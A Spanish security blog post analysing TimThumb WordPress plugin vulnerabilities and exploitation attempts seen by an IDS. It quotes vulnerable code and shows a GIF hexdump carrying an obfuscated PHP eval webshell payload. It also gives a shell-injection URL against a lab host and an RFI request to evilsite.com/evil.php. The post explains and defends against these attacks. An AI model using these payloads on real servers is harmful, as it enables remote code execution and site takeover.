TimThumb

En pleno auge de los blogs y el mundo blogger, WordPress se posicionaba como una buena alternativa para el desarrollo rápido y con un diseño atrayente, de sitios web dedicados a este fin.

Timthumb se creó en 2009 como un complemento de visualización de imágenes para sitios web desarrollados en WordPress. Consistía en un plugin que permitía redimensionar una imagen a partir de un original en formato gif,jpg o png, de forma dinámica, facilitando la posibilidad de mostrar miniaturas en el tamaño elegido y que se adaptara a nuestra página, partiendo de una imagen de un tamaño mayor.

tt0

Aunque su mantenimiento y desarrollo terminó a finales de septiembre de 2014, aún hoy es posible encontrarlo en algunos sitios web, y aun hoy seguimos recibiendo multitud de intentos de explotación de dicha vulnerabilidad.

Las vulnerabilidades

Cualquier software que se desarrollado es susceptible de presentar fallos en la codificación que puedan ser aprovechados para ejecutar acciones no contempladas, digámoslo así, por su desarrollador, y Timthumb no era una excepción.

En Agosto de 2011 se publicó la primera vulnerabilidad de este plugin, un fallo que podía provocar una ejecución remota de código (RCE) en el servidor. La versión en ese momento era la 1.32. Poco después se publicó la versión 2.0, una versión reescrita completamente y que solucionaba esta vulnerabilidad y aportaba nuevas mejora en el apartado de la seguridad.

Tres años más tarde, en 2014, se publica otra vulnerabilidad, también una ejecución remota de código, esta vez en la versión 2.8.13 con CVE 2014-4663.

Debido al sencillo funcionamiento de la aplicación, y la gran cantidad de blogs desarrollados en la plataforma de WordPress, estas vulnerabilidades tuvieron un gran impacto. La noticia de la publicación de lo que en su día era un Zero-day apareció en diferentes blogs relacionados con temas de seguridad informática, y a día de hoy se sigue intentando explotar de forma sistematizada a lo largo de Internet.

tt1

El mes siguiente los desarrolladores, sintiéndose culpables por los perjuicios causados a los usuarios de su aplicación y sin animo de continuar, decidieron abandonar el soporte y desarrollo de nuevas versiones.

Detalles de las vulnerabilidades

La primera vulnerabilidad en la versión 1.32 radicaba en un problema de configuración por defecto, junto con el modo en que se realizaba la comprobación del tipo de fichero que se iba a manipular.

La opción ALLOW_EXTERNAL permitía la inclusión de imágenes alojadas en un dominio diferente de aquel en el que estaba instalada la aplicación:

if($this->isURL && (! ALLOW_EXTERNAL)){
$this->error("You are not allowed to fetch images from an external website.");
return false;
}

Esta opción estaba activada por defecto, por lo que podía permitir la inclusión de ficheros externos al sitio web.

//Image fetching and caching
if(! defined('ALLOW_EXTERNAL')) define ('ALLOW_EXTERNAL', TRUE);
//Allow image fetching from external

El segundo problema para la versión 1.32 era la gestión que se hacía del fichero en formato gif/jpg/png que se iba a visualizar.

Modificando una imagen de un tipo MIME válido y añadiendo código php al final de dicho fichero, el script lo trataba como una imagen legítima almacenándolo en la cache local de la aplicación. Este fichero al ser accedido posteriormente, el sistema interpretaba el código php inyectado, pudiendo llegar a comprometer la integridad del servidor web.

000000: 4749 4638 3961 013f 3f3f 013f 3f3f 3f3f   GIF89a.???.?????
0000010: 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 3f21 3f3f  ?????????????!??
0000020: 0401 3f3f 3f3f 3f3f 3f3f 3f3f 3f3f 2c3f  ..????????????,?
0000030: 3f3f 3f3f 3f3f 3f3f 3f3f 3f01 3f3f 3f01  ???????????.???.
0000040: 3f3f 3f3f 3f3f 0202 4401 3f3f 3f3b 3f3f  ??????..D.???;??
0000050: 3f0d 0a3c 3f70 6870 2040 6576 616c 2840  ?..<?php @eval(@
0000060: 6261 7365 3634 5f64 6563 6f64 6528 4067  base64_decode(@g
0000070: 7a69 6e66 6c61 7465 2840 7374 725f 726f  zinflate(@str_ro
0000080: 7431 3328 4063 6f6e 7665 7274 5f75 7564  t13(@convert_uud
0000090: 6563 6f64 6528 4067 7a69 6e66 6c61 7465  ecode(@gzinflate
00000a0: 2840 6261 7365 3634 5f64 6563 6f64 6528  (@base64_decode(
00000b0: 2822 484a 3358 7571 4a49 4649 5876 2b79  ("HJ3XuqJIFIXv+y
00000c0: 3041 415a 556f 4b42                      0AAZUoKB

La versión 2.8.13 presentaba diversas mejoras en el apartado de la segurida, pero aun así presentaba otra vulnerabilidad, también de tipo RCE (Remote Code Execution).

La posibilidad de incluir imágenes de sitios externos seguía manteniéndose, pero se introdujo una nueva variable que determinaba, si no se había definido un listado de sitios autorizados, una lista por defecto de sitios web “confiables” desde donde se podían incluir las imágenes, siempre que no se tuviera configurado ALLOW_ALL_EXTERNAL_SITES = TRUE.

if(! defined('ALLOW_EXTERNAL') ) define ('ALLOW_EXTERNAL', TRUE);
//Allow image fetching from external websites. Will check against
//ALLOWED_SITES if ALLOW_ALL_EXTERNAL_SITES is false
// If ALLOW_EXTERNAL is true and ALLOW_ALL_EXTERNAL_SITES is false, then external
// images will only be fetched from these domains and their subdomains.
if(! isset($ALLOWED_SITES)){
$ALLOWED_SITES = array (
   'flickr.com',
   'staticflickr.com',
   'picasa.com',
   'img.youtube.com',
   'upload.wikimedia.org',
   'photobucket.com',
   'imgur.com'.

La comprobación del tipo de fichero mejoró también, pero el punto de fallo ahora se encontraba en la forma en que TimThumb trataba los parámetros de entrada y ejecutaba los comandos en php. Una URL especialmente construida podía provocar la ejecución de código aleatorio en el sistema.

http://loncatlab.local/wp-content/themes/t1/timthumb.php? src=http://loncatlab.local/$(touch$IFS/tmp/testfile)

Aunque el servidor devolvía un código HTTP 404 (not found), una comprobación deficiente de la URL que se le pasa como parámetro en la variable src junto con un fallo a la hora de ejecutar las acciones sobre el sistema, provocan que el fichero testfile se cree en el directorio /tmp.

$command = "$xv --server-args=\"-screen 0, $screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile";

$this->debug(3, "Executing command: $command");
$out = `$command`;

Revisando el código, si nos centramos en la parte en la que se ejecuta la acción, comprobamos que el éxito del comando anterior se debe a que en PHP el operador (` `) ejecuta el contenido que haya entre estas comillas como un comando del Shell del sistema.

Aprovechando el fallo

Como comentábamos inicialmente, seguimos recibiendo alertas en el IDS del tipo:

ET CURRENT_EVENTS WordPress timthumb look-alike domain list RFI

Con el contenido:

GET /wp-content/themes/t1/script/timthumb.php?src=http://evilsite.com/evil.php

Que intentan explotar la vulnerabilidad de la versión 1.32 mediante un (Remote File Inclusion) y su posterior ejecución.

Lo que encontramos al analizar evil.php siempre es una parte inicial con cabecera y formato de imagen gif/jpg seguida de un webshell con más o menos capas de ofuscación para poder comprometer el sitio web una vez se consiga subir el fichero al servidor.

Referencias